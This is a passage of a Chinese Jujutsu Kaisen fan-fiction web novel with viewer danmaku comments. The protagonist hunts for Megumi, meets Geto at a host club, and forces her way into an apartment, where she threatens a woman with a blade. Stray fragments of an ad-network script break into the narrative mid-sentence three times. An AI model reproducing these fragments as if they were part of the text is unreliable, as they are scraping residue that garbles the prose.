［细思恐极。］ ［所以我惠呢，啊啊啊啊啊给个准信啊，惠不会又被绑走了吗？？？］ 如果羂索不想暴露自己千年诅咒师的身份，想要和她合作，这个身体大概率不会被他抛弃。 “星也，还要继续找吗。” 伦侧了下脸，问。 渚星也盯着监控。 监控里的伏黑惠是自己从房子里出来的，自己一个小不点看了看四周，没有犹豫地离开。 之后的监控就没有了，到了监控死角，监控很少，只知道他一个人跑出去，不是被绑架什么的。 老人在道歉，愧疚地说是她的耳朵不好，说要怎么办，要报警，握着拐杖的手在颤抖，这个年龄的老人，都怕自己做错了事，惹得家人不高兴。 “没事的。” 渚星也开口，不去看羂索的表情，漆黑的眼睛转了转，低下头笑。 “奶奶不用担心，他不会跑远的，回去休息吧。” “那你朋友……” “没事啦，我可以解决的。” 好说歹说，让身子不便的老人回去，羂索还在她的身侧，对她说，“可能回去了，不用担心。” 渚星也看了他一眼。 不是你的孩子你当然不担心，是你的孩子你还算计的明明白白，人渣。 “需要我帮忙吗。” “我去伏黑家一趟，之后有事再找你。” “好，留一个联系方式。” 渚星也随便说了一个系统给的电话，【副本】里用面板就可以联系，用不着手机，不过为了防止人设ooc，系统给每个玩家都留了可与npc联系的电话。 人都走了，留下她一个，渚星也低头揉了揉自己的脸。 ＊ 渚星也在去的路上梳理着这个【副本】的时间线。 伏黑甚尔已死，星浆体理子已死。 是夏季，夏油杰未叛逃，还在忍受苦夏。 任务繁多，五条悟和夏油杰经常性分开一个人处理过量的咒灵。 灰原雄未死。 两个双胞胎还在村子里。 唯一的变动就是伏黑惠，被她绑架，晚上出去杀玩家，又把人弄丢了。 如果渚星也是弹幕中的观众，不会觉得伏黑惠会出问题，他可是男二诶，怎么可能被拐卖了，或者失踪，于是心安理得看着剧情的发展。 现在她是所谓【剧情】的一环，还是弹幕说的【主角】，她的一举一动都是剧情的发展，在观众眼里，她会找到伏黑惠，也是剧情的一部分。 如果她不找呢。 渚星也挠了挠脸，没继续想下去。 要找到伏黑惠。 她要杀的是玩家 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，没想过要和咒术师结仇，咒术师和诅咒师不能成为通关的阻碍。禅院家和五条家，已经占据了咒术界的半边天，仇恨都被她拉走了，玩家从中作梗搅浑水怎么办。 思考的途中，她来到了伏黑家……门口大树的后后后后面。 谨慎一点没什么问题。 渚星也理直气壮。 但她等了很久，里面也没有动静，门窗紧闭，窗帘拉着，看不到一丝光亮。 里面没有人？不会是搬走了吧。 渚星也上前，要是没人在，她去问问邻居。 刚探出脑袋，她脚步一顿，侧了下脸，丝毫不犹豫的快速爬上树，刚坐上树枝，就听到了奇怪的声响。 太阳越来越热，蝉鸣声不断，阳光穿透树叶，露出点点斑驳。 “悟，我来到伏黑家了。” 一道声音在下方传来。 来人的声音好听，悦耳，盛夏蝉鸣，也清晰的落在耳畔。 黑发少年脸上有些疲惫，但对于电话里的人，语气没什么异样，笑容和煦，有些无奈，“没有碰到奇怪的人……唔，找人？具体是什么特征？” “黑——” “咔嚓”一声脆响，夏油杰怔愣抬起头，眼睛缓慢张大，手机被打飞出去，显示还在通话中的屏幕在空中划过一道弧线，嘟嘟了几声戛然而止。 他本能的伸出手臂，稳稳抱住从树上掉下来的女孩子。 夏油杰大脑空白了一秒，带下来的树叶落到了他的头上，肩膀上。 怎么回事。 他回过神，微垂着眼打破了静寂。 “……你没事吧，有受伤吗？” 掌心传来的温度有些冷，夏油杰声音落下，怀中的少女动了下凌乱的黑色脑袋，将头顶上的叶子抖落。 “喵～” 一双漆黑的眼睛似流动着溶金般的烈阳，亮晶晶的，树叶与白云的光影交叠在她的眼中，她轻轻眨眼，一下，两下，仿若轻柔的羽毛拂过。 被揉碎的光隐去，他的身影清晰倒映其中。 “……” 渚星也反应过来，抬起怀里和她一起摔下来的三花猫，举起猫咪的肉垫晃了一下，绽开笑容。 “我和猫都没事噢。” 三花猫配合地动了动毛茸茸的猫耳，软软咪呜了一声，粉色的肉垫舒服地开花花。 ［……awsl。］ ［好少女漫的一幕，好牛的分镜，好绝的一张脸。］ ［打开手机，亲一口猫猫星，打开手机，亲一口猫猫星，打开手机，亲一口猫猫星。］ ［手机里的悟子哥也在咪咪叫，快把他捡起来啊。］ ［猫猫爪爪开花啊啊啊好可爱好想一口吸掉！］ ［杰哥，前面可是地狱啊（后仰），你知道你怀里抱着的是谁吗？！］ ［前一秒嗑恶人组，后一秒嗑杰哥，到处乱嗑使我营养均衡。］ ［悟子哥，快来学一下什么叫做纯天然的甜妹，哦不，这个妹是有点黑泥在身上的。］ ［我的脑子就是这么被嗑坏的。］ ［……就是啊，快点把五条悟捡起来，你们不是两个人，是三个人啊。］ ［老牛吃嫩草要点名批评。］ ［没什么好嗑的吧，还晃了下身体都站不稳，不行啊。］ ［……比起这个伦，夏油杰才让我毛骨悚然，有什么好嗑的啊啊啊啊啊他很可怕的啊！！！］ ［远离坏蛋啊你是笨蛋吗。］ ［确实好可爱，猫和人都好可爱。］ ［……］ ［上面哪里跑出来的小黑子，叉出去。］ 10. 第十章（修） 夏油杰把这个从树上掉下来的女孩子放下来，他看着蹭蹭腿不舍离开的三花猫，将目光落在眼前人的身上。 ……没有咒力。 是非术士。 “谢谢啊。”少女说，从袖口夏油杰看到了缠绕着手腕的绷带，他收回目光笑了下。 “不用谢，但是下次不能爬上树了，就算是小猫在上面，也要优先考虑自己的安全。” 夏油杰说道。 “我知道了。”渚星也应了一声，她看了下四周，走过去从地上捡起手机，屏幕开裂，疑似漏液，看起来完全不能用了，送到手机店说不定都修不好的那种。 “……” 她身无分文的啊。 倒是可以找羂索要一点点。 渚星也感受到扎在自己身上的目光，主动说：“是我弄坏的，我赔你一个新的手机吧。” “不用了。” 夏油杰礼貌的笑笑，“正好这个手机已经用很久想换了。” 是错觉吗，虽然声音依旧是低低的，听着很温和，但有很外露的疏离感。 渚星也抬眸注视着他，她上一世因为一些原因，曾深入了解过夏油杰，dk时期的热烈温柔，教主时期的喜怒无形，被“只有非术士会产生咒灵”这个设定逼疯的不纯粹反派，或许还可以是身为男性却与母性光辉结合的很好的男妈妈。 说到教主，说到夏油杰，想起的是他否认非术士的价值，他的偏执极端，他的弑父弑母，他对于“猴子”的厌恶，他无法发自内心的笑出来。 说到死，说到爱，想起的是他的大义，他的拯救咒术界，他拖着身躯一点点淹没在理想与现实间隙里诞生的诅咒之中。 说到夏天，说到高专，还有他战斗时的帅气张扬，他的温柔声音，他被笑称为人渣，他与好友并肩行走。 0卷，正卷，玉折。 嗯，或许还会想到他的黑化涩涩套餐。 好像白月光诶。 ……好像有点想的太多了？ 渚星也晃了下脑袋手动清除，毕竟她花了很长的时间去了解这个人，想要解决自己的困惑。 虽然最后在另一个人身上找到了答案。 既然他都拒绝了，那渚星也也不会强硬要给他赔偿。 “那再见啦。” 她挥了下手离开，步伐有些慢，距离刚好能听到夏油杰敲门没得到回应，敲响邻居家的门。 渚星也走到拐角，停下来，用刺客的隐匿技能。 偷听。 ——“今天大早上的就提着行李箱带着小孩走了，也不知道怎么了，放着好好的房子不住。” 邻居回忆着回答夏油杰的问题，他问人怎么不在。 “好像还听到了小孩哭，听着是男孩子，看到她掏出钱说什么不要再跟过来的话。” 听到这两句就已经够了，渚星也绕过小巷离开那块儿区域。 看样子是伏黑妈妈带着津美纪离开了，至于邻居说的看到男孩哭。 是伏黑惠吗。 是偷偷跑回来吧，这么小还记得回来的路，现在看来要去找带着津美纪离开的津美纪妈妈了，能去哪里？记得原著里提到过伏黑甚尔死去津美纪妈妈养了两个小孩几年就卷钱跑路，带着孩子也不会跑到哪里去，去附近的酒店看看吧。 渚星也正要穿过红绿灯，前方人声嘈杂，聚在一起还能听到惊呼声。 ——“叫救护车！快叫救护车！” “没救了，人已经死了，都没呼吸了。” “杀人的那个人呢？！” “看到他跑了。” 什么？居然大庭广众之下当街行凶？ 渚星也把自己挤进去，这一看她怔住了。 地上躺着的俨然是系统判定死亡的玩家，一把刀插在脖颈，半个脑袋都掉了。 “地上是什么？” 听到他们的话，渚星也低头看地上，被杀的玩家用血写字。 ［凶手是——］ 没了。 三个字一个破折号，但足以调动周围人的情绪，害怕地说：“不会是有什么凶杀案吧。” “凶手是什么你倒是说啊，写到一半是什么意思，快起来继续说啊。” “你这个人有没有同情心啊，人渣。” 骂起来了。 渚星也注意到脖颈的刀，上面的小字刻着。 ［系统出品，必属精品］ ……破案了，玩家杀的。 渚星也又从人群中挤出来。 她看了看四周，小地图上没有显示玩家在哪里，应该是走出范围了，这附近也没有酒店，她继续往前走。 走了没多远，系统小地图亮出一个绿色的倒三角。 渚星也朝那个方向看了眼，转头走进旁边的酒店，问前台有没有住进来一个女人带着四岁大的女孩子，带着行李箱。 前台摇了摇头。 她顿时失落耷拉着脑袋，只能往出走，走了几步，里面传来前台的声音。 “好像有点印象，有个长得漂亮的女士带着孩子和一位先生要来办理入住手续，但那位先生说他有住处，就离开了。” 说到这里，前台的表情有些微妙。 渚星也看到了。 她扬起笑容主动问：“姐姐，有什么问题吗。” 前台犹豫：“那位女士和你是什么关系？” “是姐姐，她和家里人闹矛盾了。”渚星也说，“我很担心她们。” 前台面色缓和，盯着渚星也好一会儿，才说，“那位女士我不知道，但那位先生……他就在附近工作，职业有些特殊。” 前台声音委婉。 “那里一个人去有些危险，尤其是你这样的。” 前台一脸严肃。 渚星也茫然看她。 于是前台的声音更肯定了。 “一定、非常、绝对很危险。” 渚星也：“……” 哪种危险啊？会吃了她吗？ * 渚星也站在男公关俱乐部的门口。 或者说牛郎店。 就是前台小姐姐说非常危险的地方。 她默默看小地图，绿色倒三角就在里面。 不是啊。 玩家在里面干什么，当牛郎吗？系统给玩家的身份这么随意的吗。 “要买消费3000的套餐才可以进去。” 先付后用啊。 渚星也眨眼：“你等一下。” 她又出去了。 过了十分钟，工作人员看到黑发少女走进来，黑色的头发散在脸颊旁，脸上有些红晕，像跑了一圈回来，眼睛黑的像墨，黑发黑眼漂亮到她这种样子，还能完美驾驭住的，他也是头一次看到，不由得多看了几眼。 她将钱递过来。 工作人员慢半拍接住。 说真的，这个脸，还进来找什么牛郎啊，牛郎长得也没她好看啊，富婆来扶贫吗。 他隐晦从上打量到下，注意身上的品牌。 ……看上去也没有很有钱。 十个牛郎九个黑，还有一个特别黑，这种看起来又傻又天真的女孩走进去，怕是要吃的骨头都没有了。 工作人员同情瞥了眼，也没多说话，让行了。 渚星也抓着自己的手腕活动了下，心里感叹随便出去就碰到勒索女孩子的东京不良少年们，于是在她的一番努力下，获得了3000元的套餐费，还顺便拒绝了趴在地上也要坚持掏出手机嘴里喊着“请加一下我的ins和line，拜托了这是我一生的请求”的不良少年。 外面是白天，里面很暗，人也不多，工作人员说主要营业时间在夜晚。 渚星也刚被引路坐到位置上，一个个不同发型不同衣服染着不同发色的男人们蘑菇一样冒出来，围着她坐了一圈，金发小奶狗样子的青年凑近，手捧着脸笑容灿烂，“这里可以无限畅饮哦，客人。” “想喝什么，我去帮你拿。” ［诈骗啊，我的反诈骗雷达响了。］ ［牛郎你好，牛郎再见，宝你千万不要误入歧途啊。］ ［这些男的长的也一般吧，感觉大街上的路人拎出来看着都比他们舒服。］ ［三句话就套路你买酒，香槟塔，反正就是为了讨人开心。］ ［渚星也这里是为了找人，又不是寻欢作乐。］ ［我看他们的眼睛，怎么感觉星也在他们眼里是大肥羊啊。］ ［看起来傻乎乎长的又好看的大肥羊谁不喜欢，就算没钱，没钱怎么了，没钱不是还有风俗场可以赚钱吗，这都已经是套路了，贷款养牛郎指定牛郎只服务自己一个，让自己陷入地狱的情况太多了。］ ［祛魅了。］ ［本来还想着有钱当富婆，以后点牛郎玩玩的。］ ［那还不如找大学生，自带体检单。］ ［重点不是牛不牛郎啊！］ 渚星也捧起自己的杯子，感觉他们盯着自己的眼神，像是荒野求生的野人饿极了，突然碰到了一个大汉堡。 和那些boss看她的眼神一样。 清野看她的眼神就是这样，恨不得舔上来，黏糊糊的。 “让开让开。” 一道声音插进来，玩世不恭，“你们这一群歪瓜裂枣凑到客人面前，怎么不照镜子看看自己能不能勾引到她，长的还没她好看，凑上去自取其辱吗。” “……” “……” “……” 在场的牛郎都黑了脸。 玩家试图撩起自己短短的刺头，抛了个媚眼，“选我呗小客人，我盘靓条顺，可盐可甜，做什么都可以哦。” 渚星也眨眨眼，这种场面她没见过哦。 她老实巴交，诚实说。 “我没来过诶，不知道走什么流程。” 玩家理解一笑，“没关系，释放你内心的欲望和野兽，我会全部承受住的。” “那你能跳钢管舞吗？” “……” 啊。 玩家掏了掏自己的耳朵，他是不是杀其他人的时候耳朵被打坏掉，幻听了。 少女继续说。 “穿着女仆装跳钢管舞也可以噢，我不挑的。” 什么。 玩家掏自己的两个耳朵。 他懵逼下意识回答：“这个……有点难度哈。” “可是。”渚星也明媚一笑，语气困惑，“我来牛郎店不就是为了我花钱，你听话吗。” 什么，原来不是过来杀人的吗？！ 玩家震惊。 “你不听话，我要退钱，把你们老板叫出来。” “！！！！！！” 玩家和其他牛郎倒吸了一口冷气，这句话的威力已经让玩家头皮一紧了。 玩家更是深深看了眼渚星也，被骗了，被骗的好惨，他真以为这小美女是傻白甜，没想到切开是芝麻馅儿的。 更甜了。 “你想做什么？” 玩家问。 不会真的单纯来看钢管舞吧，说不定他敢跳，她还不敢看呢，他奔放起来自己都害怕。 渚星也看了一圈，目光落在他的身上，“不要他们了。” “要你。” 人太多了，也不喜欢。 “……” 玩家抬头打量着她，慢慢笑了。 “好啊好啊，点到我是你的福气，我和他们不一样，今晚你的消费包在我身上。” “谁让我们都是同类。” 玩家一脸深沉的说，下一秒又欢快道，“50小费可以摸一次腹肌。” 渚星也后退，一脸拒绝。 “不要。” “白嫖也可以，不要你钱。” “讨厌，不要。” “摸嘛摸嘛。” “不要，离我远一点。” 玩家都快要挤得坐到她腿上了，抓着她的袖子要拉过来强买强卖，渚星也定定看着他，然后从袖口弹出一把匕首，笑眼弯 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 弯，“我不想摸，可以吗。” “可以可以，非常可以，刀放下，好说好说。” 玩家冷汗直流，呲溜后退，规规矩矩坐好。 渚星也收回匕首，好奇地问：“好奇怪，你在你的世界也这样子……” 她琢磨着怎么说的委婉一点。 “奇怪吗。” 玩家反问：“你是新人？算了这个不重要，偶尔会有幸运的家伙从头苟到尾活下来的。” 他漫不经心回答。 “玩家就是这样的，不知道什么时候死，也不知道怎么活下来，本就是恶鬼，因为副本一次次续命，所以脑子不正常一点你理解理解。” 她知道的，玩家是恶鬼。 现在还知道，玩家普遍是神经病。 “倒是你，这么正经干什么，看上去傻傻呆呆的，没杀过几个人吧。” 杀了好多呢。 渚星也心里回复。 这个玩家看上去不像遇到的其他玩家那样，一言不合就杀人，哪怕她拿出匕首，也没有显露出攻击性。 “我在来的路上，看到了一个玩家被刀砍断了半个脑袋。” “哦，是我干的。”玩家干脆承认。 “杀我的肯定要杀回去啊，而且我还要上班啊，他拦在路上，简直罪大恶极。” 是听说过的，会有副本迟迟不结束，有少数玩家会在副本中寻找真实，在里面生活，听过还有喜欢上副本中的npc。 最后结果是什么？ 渚星也回想了下偷听到的话。 最后和npc一起死掉了。 玩家是这样子的啊，她印象中的玩家，是狰狞不甘，恐惧扭曲的尸体，很长一段时间她都当玩家是人机，晃过去能触碰“npc，没意思”的台词。 “你呢。”玩家说，“你也是来杀我的？” “不是哦。” 渚星也听着他说完，笑眯眯否认，进入正题，“我要找一个人，一个染着金色头发的牛郎，和之前和有夫之妇勾搭在一起，靠人家养的牛郎，你有印象吗。” “你要杀他啊？” 诸星来顿时不怎么高兴看他，“你怎么满脑子打打杀杀的，我有事情问他。” 玩家啧了一声，唏嘘道：“自己的死活都顾不上，你怎么还管别人的闲事。” 她答：“因为想活所以要管啊。” “什么意思？” “不告诉你。” 玩家不可置信：“你这是求人的态度吗？” 渚星也理直气壮：“我没求你啊，你不知道，那我问其他人好了。” ［这对，也好嗑。］ ［玩家x精神病√］ ［真可爱，就喜欢这种主动不要脸的小白脸，端着我还觉得装，好，我要嚒你了。］ ［上面的不要太离谱。］ ［主人，拿刀捅我。］ ［幸运苟活下来？什么意思，我翻翻公式书……哦，原来这是第四个副本世界，渚星也已经经历过三个副本世界，官方设定之前三个世界是苟过去的，没杀过玩家。］ ［我怎么有点不信，没杀怎么活下来的。］ ［谁知道，又不出前传，我们也不了解。］ ［玩家这么光明正大，不怕被注意到啊。］ ［人数太少了，被注意到都死光了。］ ［说得好有道理。］ 玩家莫名其妙打了个喷嚏，他拿起纸巾声音沙哑，“空调吹久了好不舒服。” 他接着说下去。 “可以啊，我可以告诉你，剪刀石头布吧，三局两胜，赢了的人让输了的人真心话大冒险，当然不包括让你去死这样的大冒险。” “你不杀我，我不杀你。” 有点奇怪诶这个人。 渚星也问：“为什么玩这个？” 玩家回答的干脆，“因为我已经好久没和玩家这样坐在一起玩游戏了。” “那好吧。” 懂了，他寂寞了，兔子太寂寞会死掉的。 渚星也同意了，她伸出手，“石头剪子布。” 剪刀对布，她是布。 她的运气一直不怎么好。 “真心话还是大冒险？” “大冒险。” 她几乎没有犹豫的声音让玩家抬眸，捏了捏下巴，笑容逐渐变态。 “扇我一巴掌。” 渚星也：“？” 她听错了？ 玩家手舞足蹈起来，“最好泼我一脸冷水，用看垃圾的眼神看我，超棒！” 玩家一脸诚恳。 “我的xp是有点那个啦，满足一下我，求你。” 黑发少女漆黑瞳孔划过一丝迷茫，纤长眼睫一合，在尊重他人xp和自己动手好像他会爽到之间犹豫，久久注视，终于缓缓开口。 “我知道了。” 她认真脸。 渚星也抬起手，要扇下去时，一只形状好看的手伸过来抓住她的手腕，指腹压着绷带，再熟悉不过的声音在头顶响起。 “如果你需要，我可以代劳。” “……” 渚星也因为突然的变故怔愣住，仰起了脸。 夏油杰低头注视着她两秒，看向玩家。 “啊男人走开。”等扇的玩家抬眼一看立马改口，“扇我，帅哥。” “……” “……” “你真的好变态。” 渚星也由衷地说。 是有点。 夏油杰把中间站着的渚星也拉到自己的身后，他尊重每个猴……每个人的xp。 “怎么又是你？” 夏油杰开口。 诸星来眼睛一眨，看起来纯真无辜，眉眼却透着狡黠，“好巧哦。” 明显疲倦，眼下覆着青色的黑发少年一时说不出话来，他揉了揉眉心，对玩家说道。 “变态。” 渚星也在他身后探出脑袋，小鸡啄米一样点头，十分赞同。 11. 第十一章 手机被摔坏，暂时联系不到悟，从邻居那里也没有问到伏黑津美纪和她妈妈去哪里了的消息，夏油杰召唤出咒灵，让能够闻到气味找人的狗狗咒灵探路。 伏黑惠还在诅咒师手里，悟因为突如其来的变故忙到脚不点地，上一秒还在应付禅院家五条家，下一秒总监会电话打过来问十种影法术的事怎么不给他们说，辅助监督一旁弱弱开口又有咒灵事件发生。 “杰，干脆把他们都宰了吧。” 白发少年昂起下巴，在一堆人面前平静地说。 “别说胡话。” 悟很忙。 反正他负责的只是祓除咒灵。 夏油杰心想，看着任务单上列出的任务，拿出笔画了个红叉，从两三个小时解决一只，压缩时间到一个小时解决一只，腾出时间。 他可以做到。 于是夏油杰说去找伏黑母女的事情交给他，他会让咒灵保护她们的安全。 没想到出了意外，伏黑母女不见踪影，他需要去花时间找到人。 “汪汪——” 狗狗咒灵停下来，蹲在一家男公关俱乐部的门口不动了，尾巴螺旋甩着又汪汪了一声。 “你说这里有她们的气味？” 夏油杰问。 咒灵狗狗：“汪。” 那就进去看一眼吧，夏油杰拍了下咒灵的脑袋，不吝啬自己的夸赞，“乖孩子。” 他收回咒灵，走进男公关俱乐部，别名牛郎店。 工作人员一开始坚持，不让他进去，“我们是服务女性的，不服务男性，先生你来错地方了。” 夏油杰拿出卡，划过去一笔钱。 “就单纯聊聊天。”他微笑说， 工作人员：“也不是不行，请进，客人。” 人类的规则是可以用钱和权撬动的。 夏油杰礼貌道谢，进入里面，氛围装修整体很暗，侧颊被笼罩在阴影中，深色的眼瞳看不出一丝的微光。 他放出咒灵搜查。 人很少，基本没有，也有想要上前的男人，他抬起眼笑笑，那些牛郎仿佛是被禁锢住身体，无法再往前走一步。 这人不是来找乐子的。 他们看了眼他的个子和身材，那流畅的小臂肌肉绝对不是摆设，都很自觉，没有主动上去招惹。 ——“扇我一巴掌，求你。” 一句不符合这里画风的话传到夏油杰的耳畔，他循着声音看过去，一个寸头硬汉风格的男人双手合十，对身边的黑发少女诚恳狂热地说。 就差坐到人家腿上了，还动手动脚，非要女孩子摸自己的腹肌。 变态。 而且那个风格怎么也不像时下女生喜欢的类型，粗犷到凶恶的类型。 黑发少女左眼写着懵逼，右眼写着想逃，挪了下腿试图逃离变态。 “那好吧。” 少女面色挣扎，明显做了一番思想准备，呼了一口气抬起手。 是刚才见过的女孩子，为了猫爬上树摔下来被他接住，那个时候就有点感觉这女孩子有点呆，看上去很容易骗到钱的样子，现在看来果然如此。 他叹了一口气走到她的身后，伸手抓住黑发少女的手。 “不要他说什么你就做什么。” 夏油杰话音落下，侧过头，就看到渚星也吐了下舌，再一转头，玩家在做鬼脸。 夏油杰：“……” 渚星也看到他微妙的眼神，瞬间乖巧：“可是他不是挺开心的吗。” “那也不行。” 这话落下来，夏油杰愣了下，他蹙着眉勾起笑，“我是说……” 满足变态的欲望只会让他越来越变态。 想说的话被打断了。 “哦哦，好噢。”渚星也很老实地笑，满脸写着你说什么我听什么，让他想要解释的话都说不下去。 玩家幽幽：“我的奖励啊……” 渚星也心虚飘了飘目光，有点难办了，夏油杰也来了，她怎么问到自己想知道的东西。 “算了。”玩家耸了下肩，“这次就免了，下次来要补给我。” 【玩家037隔空投送一则消息，是否接收？】 接收。 系统弹出，是一个地址，还有备注名字和电话。 “……” 渚星也脸上的表情消失，静静地看着他。 “他是谁，你们认识？”夏油杰询问，如果是被骚扰了，那他就帮一下忙，“需要我帮忙解决吗？” 黑发少女仿佛刚刚回神，忽然一笑，笑容轻快，“不用啦，他是帮了我的好心哥哥，我只是过来感谢他的。” 让扇巴掌疑似有受虐倾向的哥哥？ 夏油杰看到她，也不了解内情，不会多说，只见她笑完，转身挥手，明快的样子和整体暗沉的店格格不入。 “那就下次见。” “拜拜。” 望着少女单薄的背影，夏油杰收回视线。 看来他不用过来也可以。 身后的声音幽幽响起，“可爱，是不是很可爱，居然在向我告白。” 玩家捧着脸眼睛冒心心，“你说我现在冲上去和她求婚，她会答应吗，我看好多人支持我啊，果然是要搏一搏单车变摩托吧。” 夏油杰：“……” 这个人的脑子也不太正常，正常的客套话，怎么被他听出来是告白的？ “对了客人。” 玩家正襟危坐，微微一笑。 “你是来干什么的，需要服务吗？” 夏油杰看向四周，狗狗咒灵刚才将每一处都探查过，呜咽了一声摇摇脑袋，这里只有熟悉的气息，人没有在。 果然还是先买个手机吧。 他还是问了句：“你见过一个女人带着小女孩来这里吗。” “小女孩大概四五岁的样子。” 玩家：“没有哦，我们这里是酒吧……是男公关俱乐部，怎么可能有母女过来，再说，母女来我们这里也太不正常了，还有你，你这个大男人出现在这里也太奇怪了。” 夏油杰没有回答。 咒灵也不能确定这个熟悉的气息是本人的，还是带过来的。 他扶了下额，大脑的胀痛，祓除完咒灵残留在喉中的味道，让他无心应付一个轻浮不正经的牛郎。 “不过我们店里的其他员工应该有印象，我记得有个员工勾搭到了已婚带娃的富婆。”玩家忽然开口。 准备要离开的夏油杰脚步一顿，他重新坐回去，想了下，拿起桌上的菜单，随手圈了最上面的套餐。 他将菜单递给旁边的人，转过头对玩家说：“可以让我见见那个人吗？” “好啊，我这就所有人过来，你等一下。” “谢谢。” 夏油杰道谢。 店外，弹幕正热火朝天讨论。 ［对于玩家来说下次见真的是最浪漫的告白吧。］ ［对啊，活着见面什么的，透着一股BE感。］ ［油杰，为什么要阻止！怎么不扇下去啊！！！给宝做m有什么不行？］ ［wuman，woman，man，哪个里面没有m。］ ［生活的甜头，是主人的赏赐。］ ［活着就是做m。］ ［玩家的精神状态值得我学习，我现在就去找个好看的人扇我，释放压力。］ ［压力不是这么释放的啊！］ 渚星也习以为常忽略弹幕，她边走在路上，随意踢着脚下的小石头。 之前被忽略，是透明人的时候，她让自己处于怪物的阵营，在它们的目光下看着玩家前仆后继的死去，没有想过了解玩家，左右和她一样，每隔一段时间在睡梦中来到副本世界开始逃生，现在她被看到，在玩家眼里她也是玩家，而不是猜测她是npc。 玩家杀死玩家，理所当然。 四目相对的第一眼，彼此都充满了杀意。 【想活命就只能让别人活不了】 那个玩家真奇怪。 她也奇怪。 渚星也心想。 反正千人千面，玩家本来就是奇怪的恶鬼，脑子不正常没什么，只要不杀她，只要不妨碍她，下次见面，她再陪孤单的兔子玩家玩游戏好了。 快一点吧，已经和夏油杰碰到了两次，第三次碰到就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 算是笨蛋也能察觉到问题，那个时候就麻烦了。 渚星也按照玩家发过来的地址，加快速度，用上了刺客的技能，很快到了目的地。 是公寓楼，她上楼找到门牌号，听了下里面的动静，抬起手敲了三下。 没人应答。 她又敲了三下。 “谁啊——” 里面传来不耐烦的大喊声，是属于男人的。 “滚开。” 好没礼貌。 渚星也选择性忘记自己也对禅院直哉说过滚。 特殊情况特殊手段，渚星也等不到人开门，她将手搭在门把手上，黑色的枝桠穿进锁孔，“咔嚓”一声。 门开了。 门内正裸着半身的金发男人坐在沙发上，看着她愣神，他脸色忽然变得铁青，“唰”得一下站起来。 “你是什么人，怎么进来的，纱纪，纱纪，快报警，有小偷。” 渚星也摇头解释，“我不是小偷，我只是来找人的。” “你知道一个带着小女孩的女人嘛，她好像跑到这里了。” 她诚恳地补充一句，“而且这里好像也没有值钱的东西诶。” “……” 渚星也的话音落下来，卧室门被推开，烫着红色波浪卷，穿着睡衣的漂亮女人握着手机，强装镇定。 “我已经报警了，你快离开，你……” 她声音戛然而止，看到渚星也的脸，脸色骤然变得苍白，咬着下唇有些歇斯底里地吼，“怎么又是你们！这是又是来杀谁的！” 女人长得漂亮，哭起来也漂亮，拿起手边的玻璃杯就扔过来。 “我都已经离开那里了，那小鬼也不在我这里，甚尔都死了，你们还纠缠着我干什么！” 渚星也躲开，玻璃杯砸到墙上变成一地的碎片。 金发男人从厨房拿出菜刀，大概是手里的刀给了他勇气，他举起来对着渚星也，手颤抖着，目测他捅过来，受伤害的只有自己。 “离开这里，不然我就动手了。” “你误会了，姐姐。”渚星也表露没有攻击的意图，她扬起笑，“我只是想问你，有没有见过伏黑惠。” 女人咬牙：“没有！” 渚星也歪了下脑袋。 “说谎不好哦，会烂舌头的。” 金发男人：“喂——” “嘘。”渚星也抬手抵着下唇，枝桠从她的影子中蔓延，穿透墙壁，墙壁表面出现明显的鼓包痕迹，短短的两秒，枝桠出现在金发男人的身后，猛地卷起金发男人手里的菜刀，发出令人牙酸的声响，菜刀被枝桠揉捏成一个铁球。 金发男人扑通坐在地上，被墙壁蔓延出的一部分枝桠束缚住，拽着他的腰后背紧紧贴着墙，衣服被勒得陷进去，他呜呜了几声，惧怕在眼中升起。 渚星也收回视线，她本来想问完就走，安安静静的什么也不干。 “姐姐，有没有见过？” 她又问了一次，“拜托了告诉我吧，我很急的。” 女人脸色苍白，依旧回答：“没有，我真的没有见过，求你了，我已经和甚尔没有关系了。” 她也在担惊受怕，世界观的轰塌，让她像刺猬一样，一碰就浑身上下竖起扎人的刺。 渚星也知道自己凶了，她现在还不想和咒术界的人碰面，伏黑惠被她找到再送回去，和被夏油杰找到接回去是不一样的。 不能让任何人有杀死她的可能性。 黑发少女抬起手，枝桠变成一把匕首，漆黑刀锋迅疾一转，眨眼间落在女人的眼睛前，她感觉自己的灵魂好似渐渐抽离，隐没于一隅，那里的声音邪恶又充斥着愉悦，引诱着她轻轻挥动匕首。 她一定超可怕。 因为女人已经完全不敢说话，眼睛惊惧着一动也不敢动。 渚星也将匕首收回，她伸出手捧住女人的脸颊，女人的神情马上变得不安，身体颤抖着。 “不要怕。” 黑发少女黑似墨的眼睛亮着微光，嗓音像撒娇一样，软绵绵的没有危害性，“姐姐，告诉我，惠是不是来找你了？” “不要骗我，不然我会杀了你的。” 12. 第十二章 “他确实来找过我。” 短短两天经历这些，女人抱住自己的头痛苦地说：“我不知道他怎么记得回来的路，他敲响家里的门，我不想让津美纪看到，就不让他进门。” 她和甚尔在夜场认识，因为各自的原因凑合在一起，甚尔活着，她照顾一下津美纪和惠没什么，但他死了，他的死给她带来了解决不了的麻烦，什么诅咒师咒术师的，她不想知道，只知道有伏黑惠在，她会面临麻烦。 那个时候她是怎么做的？ “我对你也不错，不知道你什么来历，那么多人要杀你，我还有津美纪，你也不想你姐姐因为你莫名其妙的死了吧。” “不是有什么叫五条的人，还有叫禅院的人找你吗，你去找他们吧。” 她把身上的钱都给了伏黑惠。 说完她把门一关，本来还害怕小孩子哭闹将睡着的津美纪闹醒，但门外没有声音传进来，过了半晌，她打开门，门外已经没有人，看向四周，也没有他的身影。 ［……那是一个三岁的小孩子啊，能记得路回来都很厉害了，又让他离开去找别人，先不说天这么热，小孩子知道警视厅在哪里，你说的五条家和禅院家就来了一下，还不能摆明他们的态度吗。］ ［就不怕被拐卖啊。］ ［为了不让津美纪哭闹，所以不让惠进来，自己不愿意，拿津美纪当理由。］ ［说着津美纪，两年后还是还是把他们都抛弃了。］ ［正卷里津美纪没了爸爸，后面有甚尔和妈妈，甚尔死了妈妈又抛弃她和惠，跌跌撞撞长大后又中了诅咒，自那以后再也没睁开眼，死灭洄游睁开眼的是占据了自己身体的万……现在番外卷让津美纪连弟弟也要没有吗。］ 